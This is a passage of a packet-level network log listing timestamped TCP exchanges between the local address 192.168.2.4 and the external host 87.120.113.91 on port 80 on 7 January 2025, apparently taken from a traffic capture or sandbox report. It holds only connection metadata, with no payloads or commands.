Jan 7, 2025 13:25:34.103112936 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103133917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103140116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103152990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103178024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103179932 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103184938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103192091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103203058 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103226900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103368998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103415966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103426933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103467941 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103490114 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103494883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103501081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103512049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103522062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103528976 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103534937 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103552103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103569031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103585005 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.103935003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103946924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103954077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103960037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.103966951 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.104001999 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.149904013 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.168804884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168824911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168828964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168833971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168884039 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.168905973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168912888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168936014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168941021 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168951035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168957949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.168958902 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.169003963 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.169023037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169035912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169043064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169097900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.169147968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169157028 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169202089 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.169382095 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169389009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169403076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169425964 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.169442892 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169450998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169470072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.169491053 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180550098 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180574894 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180581093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180608988 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180635929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180644035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180677891 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180691957 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180701971 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180771112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180778027 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180790901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180825949 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180870056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180876017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180898905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180906057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180912971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180913925 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180918932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180926085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.180938959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.180962086 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181217909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181263924 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181289911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181297064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181309938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181339025 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181349039 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181356907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181369066 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181400061 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181545019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181554079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181566954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181591988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181600094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181602955 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181638956 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181679964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181691885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181699991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181708097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181734085 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181760073 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.181987047 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181993008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.181999922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182019949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182039022 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182101011 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182107925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182120085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182126045 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182146072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182157040 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182187080 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182281017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182287931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182301044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182307959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182313919 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182321072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182326078 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182327032 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182333946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182363987 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182399988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182447910 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182822943 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182830095 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182837009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182878017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182883024 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.182885885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182909966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.182928085 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193178892 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193186998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193200111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193207026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193240881 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193295002 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193301916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193315029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193320036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193351984 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193377972 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193411112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193417072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193444014 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193454027 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193527937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193536043 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193547964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193568945 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193576097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193578959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193620920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193733931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193741083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193756104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193783045 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193814039 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193814993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193821907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193829060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193835974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.193864107 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.193895102 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194041014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194046974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194058895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194094896 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194113016 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194120884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194158077 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194263935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194272041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194284916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194314957 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194330931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194338083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194343090 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194380045 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194415092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194421053 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194427967 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194438934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.194468021 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.194483995 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.260817051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260852098 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260862112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260873079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260879993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260885954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260893106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260910988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260919094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260931015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260930061 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.260937929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260945082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260958910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260965109 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260970116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260981083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260982990 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.260988951 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.260994911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.261002064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.261013031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.261013985 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.261020899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.261032104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.261035919 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.261039019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.261056900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.261077881 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271285057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271296978 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271305084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271342039 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271348000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271353960 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271359921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271399975 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271488905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271549940 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271584034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271591902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271600008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271606922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271620989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271634102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271636963 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271658897 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271676064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271683931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271687031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271713972 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271850109 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271857023 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271869898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271900892 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.271939993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271970034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271975994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.271991014 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272017002 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272116899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272125006 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272133112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272172928 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272185087 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272192955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272206068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272212029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272236109 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272524118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272530079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272537947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272545099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272552013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272559881 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272576094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272603989 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272603989 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272629023 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272639036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272644997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272656918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272664070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272670031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272681952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272684097 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272690058 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272715092 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272723913 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.272806883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272811890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.272857904 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273118973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273133039 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273144960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273180008 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273210049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273216963 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273216963 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273228884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273236990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273262978 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273303032 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273330927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273343086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273350954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273358107 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273365021 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273376942 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273406029 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.273432970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273438931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.273511887 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.283976078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.283993959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284010887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284017086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284038067 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284043074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284050941 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284056902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284060001 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284081936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284090042 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284110069 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284133911 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284137011 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284145117 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284243107 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284327984 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284342051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284349918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284357071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284369946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284387112 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284420013 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284467936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284475088 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284488916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284527063 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284528971 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284533978 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284545898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284554005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284570932 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284605026 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.284751892 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284764051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.284770966 CET	80	49737	87.120.113.91	192.168.2.4
